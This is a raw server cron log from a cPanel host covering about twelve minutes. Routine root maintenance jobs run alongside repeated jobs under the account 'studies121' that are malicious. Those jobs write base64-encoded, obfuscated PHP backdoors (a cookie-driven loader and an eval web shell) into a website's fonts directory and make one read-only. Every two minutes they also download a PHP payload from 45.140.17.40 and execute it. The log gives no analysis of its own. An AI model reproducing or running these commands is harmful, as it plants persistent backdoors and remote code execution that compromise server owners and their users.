Sep 11 22:40:01 ip-184-168-122-23 CROND[15138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:41:01 ip-184-168-122-23 CROND[15237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:41:01 ip-184-168-122-23 CROND[15238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:41:01 ip-184-168-122-23 CROND[15240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:41:01 ip-184-168-122-23 CROND[15239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:42:01 ip-184-168-122-23 CROND[15327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:42:01 ip-184-168-122-23 CROND[15329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:42:01 ip-184-168-122-23 CROND[15331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:42:01 ip-184-168-122-23 CROND[15330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:42:01 ip-184-168-122-23 CROND[15333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:43:01 ip-184-168-122-23 CROND[15436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:43:01 ip-184-168-122-23 CROND[15437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:43:01 ip-184-168-122-23 CROND[15438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:43:01 ip-184-168-122-23 CROND[15439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:44:01 ip-184-168-122-23 CROND[15603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:44:01 ip-184-168-122-23 CROND[15606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:44:01 ip-184-168-122-23 CROND[15607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:44:01 ip-184-168-122-23 CROND[15605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:44:01 ip-184-168-122-23 CROND[15608]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:45:01 ip-184-168-122-23 CROND[15700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:45:01 ip-184-168-122-23 CROND[15704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:45:01 ip-184-168-122-23 CROND[15703]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:45:01 ip-184-168-122-23 CROND[15701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:45:01 ip-184-168-122-23 CROND[15705]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:45:01 ip-184-168-122-23 CROND[15702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:46:01 ip-184-168-122-23 CROND[15817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:46:01 ip-184-168-122-23 CROND[15820]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 22:46:01 ip-184-168-122-23 CROND[15821]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 22:46:01 ip-184-168-122-23 CROND[15819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:46:01 ip-184-168-122-23 CROND[15823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:46:01 ip-184-168-122-23 CROND[15822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:46:01 ip-184-168-122-23 CROND[15824]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:47:01 ip-184-168-122-23 CROND[15942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:47:01 ip-184-168-122-23 CROND[15945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:47:01 ip-184-168-122-23 CROND[15943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:47:01 ip-184-168-122-23 CROND[15944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:48:01 ip-184-168-122-23 CROND[16036]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:48:01 ip-184-168-122-23 CROND[16038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:48:01 ip-184-168-122-23 CROND[16039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:48:01 ip-184-168-122-23 CROND[16037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:48:01 ip-184-168-122-23 CROND[16040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:49:02 ip-184-168-122-23 CROND[16229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:49:02 ip-184-168-122-23 CROND[16231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:49:02 ip-184-168-122-23 CROND[16232]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 11 22:49:02 ip-184-168-122-23 CROND[16233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:49:02 ip-184-168-122-23 CROND[16234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:50:01 ip-184-168-122-23 CROND[16340]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 22:50:01 ip-184-168-122-23 CROND[16341]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 22:50:01 ip-184-168-122-23 CROND[16342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:50:01 ip-184-168-122-23 CROND[16347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:50:01 ip-184-168-122-23 CROND[16349]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:50:01 ip-184-168-122-23 CROND[16351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:50:01 ip-184-168-122-23 CROND[16352]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:50:01 ip-184-168-122-23 CROND[16353]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:50:01 ip-184-168-122-23 CROND[16354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:51:01 ip-184-168-122-23 CROND[16464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:51:01 ip-184-168-122-23 CROND[16463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:51:01 ip-184-168-122-23 CROND[16465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:51:01 ip-184-168-122-23 CROND[16462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:52:01 ip-184-168-122-23 CROND[16553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:52:01 ip-184-168-122-23 CROND[16555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:52:01 ip-184-168-122-23 CROND[16556]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
